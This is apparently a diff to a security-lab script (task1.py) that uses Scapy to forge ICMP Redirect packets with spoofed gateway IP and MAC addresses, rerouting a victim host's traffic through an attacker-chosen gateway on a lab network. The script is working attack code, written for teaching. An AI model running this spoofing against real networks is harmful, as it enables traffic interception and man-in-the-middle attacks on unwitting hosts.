updated some material

ICMP_Directing/Labsetup/volumes/task1.py

@@ -1,21 +1,70 @@
 #!/usr/bin/python3
-from scapy.all import *
-
-# ICMP Redirect packet
-# IP layer: src must be the current gateway, dst is the victim
-ip = IP(src='10.9.0.11', dst='10.9.0.5')
-# ICMP layer: type 5 is redirect, code 1 is for host
-icmp = ICMP(type=5, code=1)
-# The IP address of the new gateway
-icmp.gw = '10.9.0.111'
-
-# The ICMP Redirect packet must contain the original IP packet that triggered it
-# Victim's IP to the target destination
-ip2 = IP(src='10.9.0.5', dst='192.168.60.5')
-
+import argparse
+import sys
 import time
-# Full packet construction: IP/ICMP/original-IP/original-ICMP
-pkt = ip/icmp/ip2/ICMP()
-while True:
-    send(pkt, iface='eth0', verbose=True)
-    time.sleep(1)
+
+from scapy.all import Ether, ICMP, IP, conf, get_if_hwaddr, getmacbyip, sendp
+
+
+def build_parser():
+    parser = argparse.ArgumentParser(
+        description="Send forged ICMP Redirect packets with L2 spoofing."
+    )
+    parser.add_argument("--victim", default="10.9.0.5")
+    parser.add_argument("--target", default="192.168.60.5")
+    parser.add_argument("--gateway", default="10.9.0.11")
+    parser.add_argument("--new-gateway", default="10.9.0.111")
+    parser.add_argument("--echo-id", type=int, default=0x1234)
+    parser.add_argument("--echo-seq", type=int, default=1)
+    parser.add_argument("--count", type=int, default=20)
+    parser.add_argument("--interval", type=float, default=0.5)
+    return parser
+
+
+def must_resolve_mac(ip_addr):
+    mac = getmacbyip(ip_addr)
+    if mac is None:
+        print(f"Failed to resolve MAC address for {ip_addr}", file=sys.stderr)
+        sys.exit(1)
+    return mac
+
+
+def main():
+    args = build_parser().parse_args()
+    conf.verb = 0
+
+    victim_mac = must_resolve_mac(args.victim)
+    gateway_mac = must_resolve_mac(args.gateway)
+    attacker_mac = get_if_hwaddr("eth0")
+
+    outer_ip = IP(src=args.gateway, dst=args.victim)
+    redirect = ICMP(type=5, code=1, gw=args.new_gateway)
+
+    # Quote the original packet in the RFC-required minimum form:
+    # original IP header + first 8 bytes of payload.
+    inner = IP(src=args.victim, dst=args.target) / ICMP(
+        type=8, id=args.echo_id, seq=args.echo_seq
+    )
+    quoted = bytes(inner)[:28]
+
+    frame = (
+        Ether(src=gateway_mac, dst=victim_mac)
+        / outer_ip
+        / redirect
+        / quoted
+    )
+
+    print(
+        "Sending forged redirects: "
+        f"gateway_ip={args.gateway}, gateway_mac={gateway_mac}, "
+        f"victim_mac={victim_mac}, attacker_mac={attacker_mac}, "
+        f"quoted_echo_id={args.echo_id}, quoted_echo_seq={args.echo_seq}"
+    )
+    for idx in range(args.count):
+        sendp(frame, iface="eth0", verbose=False)
+        print(f"sent redirect #{idx + 1}")
+        time.sleep(args.interval)
+
+
+if __name__ == "__main__":
+    main()